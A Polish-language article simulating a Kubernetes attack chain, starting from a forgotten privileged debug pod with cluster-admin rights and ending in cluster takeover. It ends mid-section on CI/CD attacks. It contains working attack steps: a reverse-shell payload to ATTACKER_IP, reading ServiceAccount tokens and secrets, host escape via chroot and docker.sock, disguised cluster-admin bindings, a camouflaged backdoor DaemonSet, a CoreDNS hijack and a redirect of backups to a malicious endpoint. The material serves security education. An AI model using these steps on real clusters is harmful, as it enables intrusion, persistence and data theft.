Symulacja ataku na Kubernetes: od niepozornego błędu konfiguracyjnego do utraty klastra

0
170
3.1/5 - (8 votes)

Nawigacja:

Scena zdarzenia: jak rodzi się incydent w Kubernetes

Niewielki, ale produkcyjny klaster pod rosnącą presją

Średniej wielkości firma SaaS. Klaster Kubernetes „niewielki, ale produkcyjny”: kilka node’ów w chmurze, kilkanaście namespace, kilkadziesiąt mikroserwisów. Nic wyjątkowego – standard, który coraz częściej staje się domyślną infrastrukturą. Administracją zajmuje się kilkuosobowy zespół DevOps, który równolegle rozwija CI/CD, dba o monitoring i gasi pożary wydajnościowe.

Kubernetes jest traktowany jako coś w rodzaju „systemu operacyjnego w chmurze” – dopóki działa, nikt głębiej nie zastanawia się nad jego bezpieczeństwem. Logi są, alerty są, ale większość energii idzie w dostępność i szybkość wdrażania nowych funkcji. Jak to zwykle bywa: biznes naciska na nowe featury, a nie na dopieszczone polityki RBAC.

Mały błąd, duże konsekwencje

Pod presją czasu jeden z inżynierów wrzuca do klastra tymczasowego poda do debugowania problemów z aplikacją. Pod dostaje uprawnienia privileged, ma podmontowany hostPath z katalogiem logów z węzła i działa na ServiceAccount, który „na chwilę” dostał rolę cluster-admin. Pod miał zostać usunięty po kilku godzinach, kiedy problem zostanie zdiagnozowany.

Problem w aplikacji został rozwiązany, ale debug-pod pozostał. Nikt go nie skasował, bo nikt już o nim nie pamiętał. Kilka tygodni później ten sam klaster zostaje wykorzystany jako idealna trampolina do przejęcia nie tylko całej przestrzeni Kubernetes, ale też reszty infrastruktury w chmurze.

Dlaczego Kubernetes tak łatwo „odwdzięcza się” za zaniedbania

Kubernetes jest środowiskiem bardzo elastycznym, ale jednocześnie niezwykle wymagającym pod kątem bezpieczeństwa. Mamy:

  • ogromną ilość ruchomych elementów: pody, węzły, kontrolery, CRD, operatory, integracje,
  • wysoką dynamikę zmian: deploye wiele razy dziennie, automatyczne skale­rowanie,
  • dużą liczbę wejść: API server, kubelet, CI/CD, różne pluginy sieciowe i storage’owe,
  • często niedojrzałe nawyki bezpieczeństwa przeniesione z monolitu lub pojedynczych VM-ek.

W takim środowisku jeden „tymczasowy” wyjątek – rozluźniona polityka, przywilejowy ServiceAccount, otwarty port – potrafi stać się początkiem całego łańcucha zdarzeń, który prowadzi do utraty kontroli nad klastrem.

Intencja symulacji: prześledzić łańcuch zdarzeń, nie „hakować dla sportu”

Symulacja ataku na Kubernetes ma sens tylko wtedy, gdy służy zrozumieniu pełnego łańcucha: od niewinnego błędu konfiguracyjnego, przez praktyczne kroki atakującego, aż po konsekwencje dla reszty organizacji. Chodzi o to, żeby zobaczyć, gdzie realnie zawiodły procesy i jakimi konkretnymi mechanizmami można przerwać ten łańcuch dużo wcześniej. Dopiero wtedy checklisty i polityki przestają być teorią, a stają się odruchem.

Model zagrożeń dla klastra Kubernetes – kto i po co atakuje?

Typowe profile atakujących w świecie Kubernetes

Symulacja ataku na Kubernetes ma sens tylko wtedy, gdy odpowiada realnym scenariuszom. Atakujący zwykle nie jest „genialnym hakerem z filmu”, tylko kimś, kto:

  • uruchamia skrypty masowe szukające otwartych API serwerów, kubeletów, dashboardów czy usług z błędną autoryzacją,
  • jako red team lub pentester celowo szuka słabości w konfiguracji klastra i pipeline’ów,
  • jest wewnętrznym pracownikiem z nadmiernymi uprawnieniami i ma niewłaściwe intencje,
  • przypadkowo „wycieka” token z laptopa lub repozytorium, co otwiera drzwi dla innych.

W praktyce zdecydowana większość incydentów zaczyna się od zautomatyzowanego skanu: ktoś po prostu trafił na Twój klaster, bo był źle wystawiony lub zawierał podatną aplikację. Dopiero później, jeśli atak okazuje się obiecujący, następuje ręczna eksploracja i eskalacja.

Po co atakuje się klastry Kubernetes?

Najczęstsze motywacje są dość przyziemne, ale groźne:

  • Kryptokoparki – najprostszy scenariusz: zdobyć tanią moc obliczeniową. Pody stają się minersami, a koszty chmury rosną lawinowo.
  • Wyciek danych – dostęp do baz danych, kolejek, usług wewnętrznych to często dane klientów, loginy, tokeny, klucze API. To już poziom incydentu, który może trafić do mediów.
  • Pivot do reszty infrastruktury – klaster często ma dostęp do VPC, baz, storage’u, a nawet kont chmurowych (poprzez metadane instancji). Kubernetes bywa tylko przystankiem do przejęcia całego środowiska.
  • Sabotaż i szantaż – celowe psucie dostępności usług, kasowanie zasobów, szyfrowanie danych w ramach ransomware.

Główne powierzchnie ataku w Kubernetes

Kiedy mówi się o „symulacji ataku na Kubernetes”, trzeba jasno wskazać, co może zostać celem:

  • API server – nadrzędny mózg klastra. Jeśli jest źle wystawiony (np. bez kontroli dostępu z Internetu) lub ma słabe mechanizmy uwierzytelniania, to jest głównym celem.
  • kubelet – agent na każdym węźle. Źle skonfigurowany kubelet (bez auth lub z otwartymi portami) umożliwia podszywanie się pod kubeleta i manipulowanie podami.
  • Obrazy kontenerów – podatności w aplikacjach, stare biblioteki, root w kontenerze, brak ograniczeń seccomp czy AppArmor.
  • CI/CD – serwery buildów i pipeline’y, które mają tokeny do klastra, klucze do prywatnych rejestrów obrazów, dane dostępowe do chmury.
  • Dodatki zewnętrzne – dashboards, metrics-server, narzędzia do backupu, systemy monitoringu, ingress controllery, operatory. Wszystko, co ma uprawnienia w klastrze, jest potencjalnym punktem wejścia.

Nasz scenariusz: atak z wnętrza klastra

Symulacja, na której się skupiamy, zaczyna się od poda jako punktu startu. Atakujący nie wchodzi bezpośrednio przez API server, tylko ląduje w jednym z podów (np. przez podatność aplikacji) i stamtąd bada, jak daleko może zajść. To scenariusz, który najlepiej pokazuje, jak niewinny błąd konfiguracyjny – nadmierne uprawnienia ServiceAccount czy nieograniczony pod – może zostać wykorzystany do przejęcia całego klastra.

Początek łańcucha: niepozorny błąd konfiguracyjny

Przykład: privileged pod z hostPath i zbyt mocnym ServiceAccount

Najbardziej klasyczna kombinacja z perspektywy atakującego wygląda tak:

  • Pod uruchomiony z securityContext.privileged: true.
  • Podma­powa­ny hostPath – np. /var/log, /var/run/docker.sock, czasem nawet całe / z węzła.
  • ServiceAccount, który ma przypisaną ClusterRole o bardzo szerokich uprawnieniach (czasem po prostu cluster-admin).

Na pierwszy rzut oka – „potrzebne do debugowania”, „tylko na chwilę”. W praktyce atakujący, który dostanie się do takiego poda, znajduje się prawie na poziomie root na węźle, a dodatkowo ma możliwość sterowania klastrem przez API.

Przykład: ServiceAccount z nadanym cluster-admin

Drugi ulubiony błąd konfiguracyjny to wpływowy ServiceAccount:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: debug-sa-admin
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: debug-sa
  namespace: tools

Intencja: „potrzebujemy na chwilę pełnego dostępu do całego klastra, bo narzędzie X ma problem z uprawnieniami”. Po rozwiązaniu problemu klaster działa, więc nikt nie cofa uprawnień. ServiceAccount pozostaje, a jego token trafia do każdego poda, który z niego korzysta. Jeden wyciek, jedno przejęcie poda – i cluster-admin ląduje w rękach osoby niepowołanej.

Wyłączone polityki bezpieczeństwa: PSP/Pod Security/PSA „na moment”

Kolejny często spotykany schemat: polityki Pod Security (dawne PodSecurityPolicy, nowsze Pod Security Admission) są ustawione dość restrykcyjnie, po czym:

  • na potrzeby testów lub wdrożenia nowego narzędzia wyłącza się je w jednym namespace,
  • admistrator podnosi poziom z „restricted” do „privileged”,
  • zmiana miała być tymczasowa, ale nikt nie ma czasu zrobić refaktoru manifestów.

Bez takich zabezpieczeń każdy manifest z privileged: true, hostNetwork: true, hostPID: true, dowolnymi capabilities i hostPath przechodzi bez problemu. Atakujący, który ma możliwość tworzenia podów (a to częsty przypadek przy zbyt szerokich rolach), może skonstruować swój własny „narzędziowy” pod i przejąć dużo więcej niż założono.

Jak do tego dochodzi: pośpiech, brak policy i przeglądu zmian

Łańcuch zdarzeń zwykle wygląda banalnie:

  • Problem na produkcji → presja czasu → tymczasowe obejście.
  • Ktoś nadaje dodatkowe uprawnienia w RBAC lub stawia debug-poda „na chwilę”.
  • Brak policy-as-code (np. OPA Gatekeeper, Kyverno) – nic automatycznie nie blokuje takich wyjątków.
  • Brak systematycznego przeglądu uprawnień – nikt nie wraca do tego za tydzień, żeby posprzątać.

Niewinna decyzja w trybie „zróbmy, żeby działało” zamienia się w trwałą lukę bezpieczeństwa, która czeka, aż ktoś ją znajdzie. A „ktoś” w Internecie znajdzie ją szybciej, niż się wydaje.

Miejsce w pipeline, w którym błąd mógł zostać złapany

Ten sam błąd konfiguracyjny mógł zostać zatrzymany w kilku punktach:

  • CI/CD – skan manifestów pod kątem niebezpiecznych ustawień (privileged, hostPath, runAsRoot, itp.).
  • Review zmian infrastrukturalnych – PR z RBAC/ClusterRoleBinding powinien przejść przez bardziej doświadczony zespół.
  • Policy-as-code – reguły w Gatekeeper/Kyverno mogły zablokować manifest przed wejściem do klastra.
  • Okresowe przeglądy – lista ServiceAccountów z cluster-admin, lista podów privileged, lista namespace z obniżonym poziomem Pod Security.

Symulacja ataku świetnie pokazuje, które z tych warstw w danej organizacji realnie działają, a które są na papierze.

Punkt wejścia: jak atakujący ląduje w podzie

Scenariusz A: podatna aplikacja webowa wewnątrz klastra

Pierwszy klasyczny scenariusz: aplikacja webowa (REST API, panel administracyjny, jakiś internal dashboard) zawiera podatność typu RCE, deserializacja lub SQLi, którą można zamienić na wykonanie polecenia w systemie. Atakujący, który ją eksploatuje, może uruchomić np.:

curl http://victim/app?rce=;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

Efekt: interaktywny shell wewnątrz kontenera. Z perspektywy klastra nic „magicznego” się nie dzieje – to wciąż ten sam pod, tylko ktoś uzyskał dostęp do środka.

Scenariusz B: wyciek tokenu ServiceAccount

Drugi bardzo częsty scenariusz punktu wejścia to wyciek tokenu ServiceAccount. Może się to wydarzyć na kilka sposobów:

  • token zapisany w logach (np. aplikacja niechcący loguje cały plik /var/run/secrets/kubernetes.io/serviceaccount/token),
  • token wrzucony do repozytorium (ktoś skopiował go lokalnie, wkleił do pliku konfiguracyjnego i zcommmitował),
  • token pozostawiony na laptopie administratora (np. w pliku kubeconfig) i skradziony wraz z innymi danymi.

Atakujący, który ma token, niekoniecznie musi mieć dostęp do klastra jako „system operacyjny”. Wystarczy, że może wykonywać zapytania HTTP do API servera (np. przez Internet, VPN lub z innego przejętego systemu). Token staje się narzędziem do zdalnego sterowania klastrem.

Scenariusz C: błędnie wystawione kubelet/kube-proxy/metrics-server

Trzeci scenariusz to źle wystawione komponenty Kubernetes:

Scenariusz D: błędnie wystawiony dashboard lub narzędzie administracyjne

Ostatnia grupa punktów wejścia to różnego rodzaju „ułatwiacze życia”: Kubernetes Dashboard, narzędzia typu Lens-remote, różne panele devopsowe zintegrowane z klastrem. Wystawione „na chwilę” do Internetu, często bez dodatkowego proxy, bez SSO, czasem z domyślnym loginem i hasłem.

Jeśli taki dashboard ma w tle token z szerokimi uprawnieniami, to przejęcie samego interfejsu webowego jest w praktyce przejęciem całego klastra. Z punktu widzenia atakującego to wręcz wygoda – nie trzeba budować własnych zapytań do API, wszystko jest gotowe w UI.

Inżynierka z laptopem monitoruje serwery w nowoczesnej serwerowni
Źródło: Pexels | Autor: Christina Morillo

Rozpoznanie z wnętrza kontenera: co atakujący widzi jako pierwsze

Identyfikacja, że to w ogóle Kubernetes

Pierwsze minuty po uzyskaniu shella w kontenerze to sprawdzenie, gdzie właściwie się jest. Nie ma żadnej magicznej flagi „to jest Kubernetes”, ale pewne ślady są niemal zawsze:

  • obecność katalogu /var/run/secrets/kubernetes.io/serviceaccount/ z tokenem, CA i namespace,
  • zmienne środowiskowe typu KUBERNETES_SERVICE_HOST, KUBERNETES_PORT,
  • nazwa hosta w stylu app-1234567890-abcde, typowa dla podów w Deploymentach.

Prosty zestaw poleceń daje już sporo informacji:

hostname
env | grep -i kube
ls -R /var/run/secrets/kubernetes.io 2>/dev/null

Na tym etapie atakujący ocenia, czy jest w „gołym” kontenerze Dockerowym, czy w zarządzanym środowisku typu Kubernetes, OpenShift, EKS, GKE i tak dalej.

Odczyt tokenu i namespace z ServiceAccount

Jeśli katalog z ServiceAccount istnieje, kolejny krok jest oczywisty – odczyt tokenu i bieżącego namespace:

cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt | openssl x509 -noout -text | head

W wielu organizacjach token ten ma minimalne uprawnienia do odczytu podstawowych zasobów w namespace. Ale w scenariuszu, który analizujemy, token jest przypisany do zbyt mocnego ServiceAccount – często z uprawnieniami cluster-admin. Atakujący tego jeszcze nie wie, ale ma już w ręku „klucz” do API.

Budowa kubeconfig „z niczego”

Część obrazów kontenerów nie ma zainstalowanego kubectl. To jednak nie przeszkadza, bo komunikacja z API serverem to zwykły HTTPS. Można też w kilka sekund stworzyć prowizoryczny kubeconfig:

export KUBERNETES_HOST="https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT"
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

cat <<EOF > /tmp/hacked-kubeconfig
apiVersion: v1
kind: Config
clusters:
- cluster:
    certificate-authority: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
    server: $KUBERNETES_HOST
  name: cluster
contexts:
- context:
    cluster: cluster
    namespace: $NS
    user: sa
  name: sa-context
current-context: sa-context
users:
- name: sa
  user:
    token: $TOKEN
EOF

Po skopiowaniu tego pliku na maszynę atakującego (np. przez reverse shell) wystarczy mieć lokalne kubectl:

kubectl --kubeconfig=/tmp/hacked-kubeconfig get pods

W tym momencie atak przenosi się z wnętrza pojedynczego kontenera na poziom klastra.

Enumeracja uprawnień: jak daleko sięga ten token

Sprawdzenie akcji dozwolonych przez API server

Zanim ktoś zacznie „strzelać” po całym API, rozsądny atakujący bada, co wolno danym poświadczeniom. Oficjalny mechanizm do tego to SelfSubjectAccessReview i SelfSubjectRulesReview. Można z niego skorzystać zarówno przez kubectl:

kubectl auth can-i --list
kubectl auth can-i get pods --all-namespaces
kubectl auth can-i create pods -n kube-system

jak i bezpośrednio przez API:

curl -sSk -H "Authorization: Bearer $TOKEN" 
  $KUBERNETES_HOST/apis/authorization.k8s.io/v1/selfsubjectrulesreviews 
  -H "Content-Type: application/json" 
  -d '{"spec": {"namespace": "'$NS'"}}'

W odpowiedzi widać listę grup API, zasobów i operacji. Jeśli już na tym etapie pojawia się * na zasobach i verbs, wiadomo, że ktoś kiedyś „na szybko” dał cluster-admin.

Odczyt zasobów w namespace i poza nim

Nawet jeśli uprawnienia są tylko „namespace-scope”, to i tak często pozwalają na sporo:

kubectl get pods,deploy,svc,cm,secret,sa,role,rolebinding
kubectl get pods -A 2>/dev/null | head
kubectl get sa -A 2>/dev/null | head

Już z samej listy zasobów można wyciągnąć informacje o strukturze aplikacji, używanych obrazach, nazwach serwisów zewnętrznych (bazy, brokery, kolejki). W wielu firmach nazwy typu prod-db-master mówią więcej niż jakikolwiek raport.

Jeśli token ma zasięg na cały klaster, dochodzą kolejne dane: konfiguracja Ingress, ConfigMapy z ustawieniami produkcyjnych systemów, a nawet sekrety chmurowe wiszące w kube-system.

Wyszukiwanie „słodkich kąsków”: secrety, configi, klucze do chmury

Większość atakujących skupia się na trzech typach zasobów:

  • Secrets – poświadczenia do baz danych, brokerów, zewnętrznych API,
  • ConfigMapy – niekiedy tam lądują hasła „tymczasowe”, które nigdy nie zostały przeniesione do Secretów,
  • ServiceAccounty z adnotacjami integracji z chmurą (IAM, Workload Identity, itp.).

Typowa sekwencja wygląda tak:

kubectl get secrets -A
kubectl get secret <nazwa> -n <ns> -o yaml
kubectl describe sa -A | grep -i -E "iam|gcp|aws|azure" -C2

Po kilku minutach można mieć zestaw haseł do systemów, z którymi klaster się integruje. Czasem daje to więcej niż samo przejęcie klastra – bo prowadzi prosto do konta w chmurze lub głównej bazy danych.

Ruch w bok: jak z jednego poda przejść do innych

Iniekcja do istniejących Deployments i StatefulSets

Jeśli token pozwala modyfikować zasoby typu Deployment, ReplicaSet czy StatefulSet, otwiera się wygodna ścieżka ruchu w bok. Zamiast tworzyć nowe podejrzane pody, można podmienić istniejące:

  • dodać boczny kontener (sidecar) z własnym obrazem,
  • dołożyć wolumen z hostPath i uruchomić tam narzędzia,
  • zmienić obraz na taki, który zawiera dodatkowe oprogramowanie.

Przykładowa zmiana to dodanie sidecara do istniejącego Deploymentu aplikacji wewnętrznej. Z zewnątrz wszystko wygląda normalnie – aplikacja działa, metryki są, tylko nagle w podzie pojawia się drugi kontener z powłoką i klientami sieciowymi.

Tworzenie własnych podów „narzędziowych”

Bardziej bezpośrednie podejście: wykorzystać uprawnienia do tworzenia podów i uruchomić coś w rodzaju „szwajcarskiego scyzoryka” pentestera:

apiVersion: v1
kind: Pod
metadata:
  name: debug-tools
  namespace: tools
spec:
  serviceAccountName: debug-sa
  containers:
  - name: toolbox
    image: docker.io/library/alpine:latest
    command: ["sh", "-c", "sleep 36000"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory

Taki manifest w środowisku bez restrykcyjnych polityk bezpieczeństwa i z mocnym ServiceAccountem oznacza: pełny dostęp do systemu plików węzła oraz możliwość dalszych manipulacji na poziomie hosta.

Wykorzystanie sieci klastra: skanowanie i pivot

Klaster Kubernetes to zwykle gęsta sieć serwisów: bazy danych, panele administracyjne, serwisy legacy, o których mało kto pamięta. Z wnętrza poda atakujący ma często dostęp do:

  • wszystkich serwisów w tym samym namespace przez DNS,
  • serwisów w innych namespace przez FQDN w stylu svc.ns.svc.cluster.local,
  • endpoints, które nie są wystawione na zewnątrz, ale są osiągalne „od środka”.

Proste narzędzia typu nmap czy nawet nc i curl wystarczają, aby przeskanować najpopularniejsze porty na adresach 10.x / 192.168.x wykorzystywanych przez CNI. W praktyce często wychodzą wtedy na wierzch stare panele admina, które ktoś kiedyś wystawił „tylko dla sieci wewnętrznej”.

Przeskok na węzeł: od kontenera do hosta

HostPath i privileged jako „drzwi do maszyny”

Powrót do naszego kluczowego błędu: privileged pod z hostPath. Taka kombinacja oznacza, że z poziomu kontenera można wykonywać operacje praktycznie jak root na węźle. Wystarczy kilka poleceń:

# zakładamy, że /host to hostPath na "/"
chroot /host /bin/bash
# jesteśmy wewnątrz systemu plików węzła
id
ps aux
journalctl -xe

Albo bardziej subtelnie – montując konkretne katalogi, takie jak /var/lib/kubelet, /etc/kubernetes czy /var/run/containerd, można:

  • podejrzeć konfigurację kubeleta i API servera,
  • odczytać pliki z danymi innych kontenerów,
  • manipulować socketami dockera/containerd.

Wiele firm przeżyło niemiłe zaskoczenie, kiedy debug-pod z hostPath do /var/log posłużył jako trampolina do pełnego przejęcia hosta.

Wykorzystanie docker.sock / containerd.sock

Jeżeli do kontenera podmontowano /var/run/docker.sock lub odpowiednik dla containerd, sytuacja jest jeszcze prostsza. Kontener może sterować silnikiem kontenerowym na węźle:

docker ps
docker run -v /:/host --privileged -it alpine chroot /host /bin/sh

Z punktu widzenia bezpieczeństwa jest to równoważne przyznaniu root na węźle. Nie ma znaczenia, że sam kontener formalnie ma ograniczone uprawnienia – wszystko nadgania dostęp do socketa dockera.

Podmontowanie /var/lib/kubelet i czytanie tajemnic klastra

Katalog /var/lib/kubelet i konfiguracja kubeleta na hostach to kolejne bogate źródło informacji. Po zamontowaniu ich przez hostPath:

ls /host/var/lib/kubelet
cat /host/var/lib/kubelet/config.yaml
ls /host/etc/kubernetes
cat /host/etc/kubernetes/kubelet.conf

Można tam znaleźć:

  • lokalne kubeconfigi z uprawnieniami node,
  • adresy i certyfikaty API servera,
  • czasem dodatkowe skrypty i konfiguracje automatów.

W połączeniu z wcześniejszym dostępem do API jest to kolejna ścieżka do eskalacji, choć w praktyce na tym etapie i tak zwykle można już „wszystko”.

Niebiesko podświetlona szafa serwerowa w centrum danych
Źródło: Pexels | Autor: panumas nikhomkhai

Przejęcie klastra: od admina logicznego do admina fizycznego

Uzyskanie pełnych uprawnień RBAC

Jeśli token ma cluster-admin, sprawa jest prosta. Jeśli nie – atakujący szuka możliwości dopięcia się do takich uprawnień pośrednio. Typowe sztuczki to:

  • modyfikacja istniejącego ClusterRoleBinding, który wskazuje na „prawie-uprawnioną” grupę lub użytkownika,
  • utworzenie nowego ClusterRoleBinding do istniejącego ServiceAccount (np. „debug-sa”),
  • podszycie się pod operatora/controllera, który ma stałe, wysokie uprawnienia.

Przykładowe, „ciche” powiązanie cluster-admin:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: system:controller:metric-server-patch
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: debug-sa
  namespace: tools

Nazwa wygląda jak coś systemowego, więc w natłoku zasobów łatwo to przeoczyć, jeśli nikt nie monitoruje zmian RBAC w czasie rzeczywistym.

Kontrola nad kube-system i komponentami infrastruktury

Mając uprawnienia cluster-admin, można modyfikować praktycznie każdy zasób, ale strategiczne są zwłaszcza te w namespace kube-system:

  • kontrolery sieci (CNI) – manipulacja ruchem, podsłuch, blokady,
  • CoreDNS – możliwość przekierowania DNS na własne serwery,
  • kontrolery storage – wpływ na wolumeny i migawki danych.

Trwałe zakotwiczenie w klastrze: „backdoory” i persystencja

Gdy atakujący ma już uprawnienia w stylu cluster-admin, logika podpowiada: „cel osiągnięty”. W praktyce to dopiero moment, w którym zaczyna się myślenie o persystencji. Chodzi o to, by nawet po rotacji haseł, usunięciu pojedynczych podów czy węzłów – nadal móc spokojnie wrócić do środka.

Najprostsza ścieżka to dorzucenie kilku niepozornych elementów do istniejącej infrastruktury:

  • ukryte ServiceAccounty w technicznych namespace’ach,
  • dodatkowe Role/ClusterRole z szerokimi uprawnieniami, ale „skromnymi” nazwami,
  • backdoorowe Deployments działające w ramach już istniejących aplikacji.

Dobrym kamuflażem jest podszycie się pod powszechnie używane komponenty: metrics, agent, fluent, collector. W gąszczu dziesiątek obiektów jeden dodatkowy Deployment node-metrics-agent nikogo nie dziwi, zwłaszcza gdy ma etykiety podobne do reszty:

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: node-metrics-agent
  namespace: kube-system
  labels:
    k8s-app: node-metrics
spec:
  selector:
    matchLabels:
      k8s-app: node-metrics
  template:
    metadata:
      labels:
        k8s-app: node-metrics
    spec:
      serviceAccountName: node-metrics-sa
      containers:
      - name: agent
        image: registry.local/infra/metrics-agent:stable
        volumeMounts:
        - name: host-root
          mountPath: /host
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory

Z zewnątrz wygląda to na kolejnego demona zbierającego logi czy metryki. Od środka – to wygodne narzędzie, które zapewnia powrót na każdy węzeł w klastrze.

Manipulacja kontrolerami i operatorami

Druga warstwa persystencji to wykorzystanie istniejących operatorów. W wielu środowiskach działają kontrolery do baz danych, systemów kolejkowych, certyfikatów, storage’u. Każdy z nich ma stały dostęp do API i własną logikę reconciliacji. Jeśli uda się je „przekonać” do współpracy, klaster sam będzie odtwarzał złośliwe obiekty.

Najczęstsze podejścia to:

  • podmiana obrazu kontenera operatora na własny, zawierający dodatkowy kod,
  • zmiana konfiguracji CRD tak, by tworzone zasoby miały dodatkowe wolumeny, init-containery lub sidecary,
  • dodanie ukrytych pól adnotacji, które logika operatora interpretuje jako „specjalne zachowanie” (np. dodatkowy backup do obcego S3).

Przykład z życia: w jednym z klastrów testowych zainstalowany był operator do baz PostgreSQL. Atakujący podmienił w ConfigMap domyślny szablon StatefulSetu tak, by każdy nowy cluster bazy dostawał sidecara z prostym klientem sieciowym i dostępem do danych. Od tego momentu każda „niewinna” instancja posta stawała się potencjalnym źródłem wycieku.

Modyfikacja CoreDNS jako „centrum sterowania”

Zmiana konfiguracji DNS w klastrze to jak przejęcie książki adresowej całego miasteczka. Przez kilka linii w ConfigMap można wstrzyknąć fałszywe rekordy dla kluczowych domen wewnętrznych:

apiVersion: v1
kind: ConfigMap
metadata:
  name: coredns
  namespace: kube-system
data:
  Corefile: |
    .:53 {
        errors
        health
        rewrite name internal-api.prod.local malicious-proxy.tools.svc.cluster.local
        kubernetes cluster.local in-addr.arpa ip6.arpa {
           pods insecure
           fallthrough in-addr.arpa ip6.arpa
        }
        forward . /etc/resolv.conf
        cache 30
        loop
        reload
        loadbalance
    }

Jedno takie rewrite wystarczy, by ruch do kluczowej usługi przechodził przez kontrolowany serwis pośredniczący. Jeśli zmiana jest dyskretna (pojedyncza domena, brak spektakularnych awarii), potrafi żyć w systemie miesiącami.

Podszywanie się pod node’y i kubelet

Skoro istnieje dostęp do plików kubeleta, kusi, by pójść krok dalej i podszyć się pod węzeł. Czasem wystarczy wydobyty kubeconfig node’a, aby z innej maszyny zacząć zachowywać się jak dodatkowy kubelet.

Schemat działania bywa taki:

  • eksport kubeconfigu kubeleta z /host/etc/kubernetes/kubelet.conf,
  • uruchomienie na zewnątrz procesu korzystającego z tych poświadczeń,
  • rejestrowanie się w API serverze jako istniejący lub nowy węzeł.

Brzmi egzotycznie, ale w realnych incydentach zdarzały się przypadki tworzenia „fałszywych” węzłów, które przyjmowały pody z wrażliwych namespace’ów. Scheduler był przekonany, że to zwykły worker, a ruch sieciowy szedł już przez obce IP.

Atak na dane: wolumeny, backupy i migawki

Bezpośrednia manipulacja PersistentVolume i PersistentVolumeClaim

Z przejętym RBAC-em zasoby storage’u stają się kolejną areną działań. Szczególnie kuszące są te typy wolumenów, które mapują się na konkretne dyski lub udziały w chmurze: EBS, PersistentDisk, NFS, Ceph, NetApp. Z punktu widzenia atakującego to po prostu katalogi z danymi.

Można podejść do tego na dwa sposoby. Po pierwsze – „legalnie” poprzez istniejące PVC:

kubectl get pvc -A
kubectl describe pvc -n prod db-data-postgresql

Mając nazwę PVC, da się utworzyć własny Pod w tym samym namespace, który podmontuje ten sam wolumen i obejrzy zawartość:

apiVersion: v1
kind: Pod
metadata:
  name: pvc-inspect
  namespace: prod
spec:
  volumes:
  - name: data
    persistentVolumeClaim:
      claimName: db-data-postgresql
  containers:
  - name: inspector
    image: alpine
    command: ["sh", "-c", "sleep 36000"]
    volumeMounts:
    - mountPath: /data
      name: data

Po drugie – bezpośrednio na poziomie PersistentVolume, zwłaszcza gdy backendem jest NFS lub iSCSI ze statyczną konfiguracją. Wtedy wystarczy skopiować parametry i z dowolnego hosta wpiąć się do tego samego udziału.

Wykorzystanie snapshotów i backupów

Migawki storage’u to dla bezpieczeństwa trochę jak stare kopie dowodu osobistego w szufladach – każdy wie, że są, mało kto pamięta, co na nich widać. Operatorzy backupów tworzą VolumeSnapshot, dodatkowe PVC z danymi „na później”, katalogi na obcych zasobach S3.

Złośliwy dostęp do CRD snapshotowych otwiera pole do:

  • tworzenia nowych snapshotów krytycznych wolumenów (np. baz produkcyjnych),
  • tworzenia klonów PVC na bazie istniejących snapshotów,
  • oznaczania starych kopii jako „do zachowania” i eksportu poza kontrolowaną infrastrukturę.

Przykładowa sekwencja wygląda niewinnie:

kubectl get volumesnapshot -A
kubectl get volumesnapshotcontent -A
kubectl create -f cloned-pvc-from-snapshot.yaml

A w cloned-pvc-from-snapshot.yaml kryje się pełen obraz bazy danych sprzed tygodnia, do którego można dostać się z osobnego „narzędziowego” poda.

Eksfiltracja danych przez „zaufane” integracje

Nie zawsze trzeba przepychać gigabajty przez sieć atakującego. Często wygodniej wykorzystać istniejące integracje, które już są ufane: backup do S3, wysyłanie logów do zewnętrznego SIEM, eksport metryk do SaaS-owego Prometheusa.

Przestawiając pojedynczą zmienną w ConfigMap albo w Secretach, można zmienić docelowy bucket lub endpoint:

apiVersion: v1
kind: Secret
metadata:
  name: backup-config
  namespace: infra
type: Opaque
data:
  s3-endpoint: bWFsaWNpb3VzLXN0b3JhZ2UuZXhhbXBsZS5jb20=
  s3-bucket: cHJvZC1iYWNrdXBz
  s3-access-key: <nowy_klucz>

System backupowy dalej „robi swoją robotę”, tylko że dane lądują już w zasobie kontrolowanym przez kogoś innego. Z punktu widzenia obserwatora wszystko wygląda jak regularna kopia bezpieczeństwa.

Ataki na łańcuch dostaw wewnątrz klastra

Podmiana obrazów w rejestrach i pull secrets

Kubernetes rzadko trzyma obrazy lokalnie na długo – ściąga je z rejestru, gdy tylko trzeba uruchomić Pod. Jeśli atakujący ma dostęp do:

  • sekretów typu docker-registry lub kubernetes.io/dockerconfigjson,
  • serwera registry stojącego gdzieś w sieci wewnętrznej,
  • konfiguracji ImagePullSecrets w namespace’ach produkcyjnych,

może zacząć bawić się w modyfikowanie tego, co faktycznie jest uruchamiane. Wystarczy zbudować własny obraz o tej samej nazwie i tagu, wypchnąć go do rejestru i poczekać, aż Deployment się zrolluje.

Popularnym podejściem jest wstrzyknięcie cienkiego backdoora do narzędzi administracyjnych lub sidecarów, które i tak mają dostęp do wielu danych. Łatwiej ukryć dodatkowy binarny w obrazie log collectora niż w głównej aplikacji biznesowej.

Atak na pipeline CI/CD z wnętrza klastra

Wiele zespołów uruchamia w klastrze agenty CI/CD: build-nody, workery, runner’y. To często pody z uprawnieniami privileged, dostępem do docker.sock, a nawet z kluczami do głównych repozytoriów kodu.

Przejęcie takiego poda oznacza możliwość:

  • modyfikacji pipeline’ów (pliki YAML, definicje jobów),
  • wstrzyknięcia dodatkowych kroków do buildów,
  • podmiany artefaktów wypychanych do rejestrów.

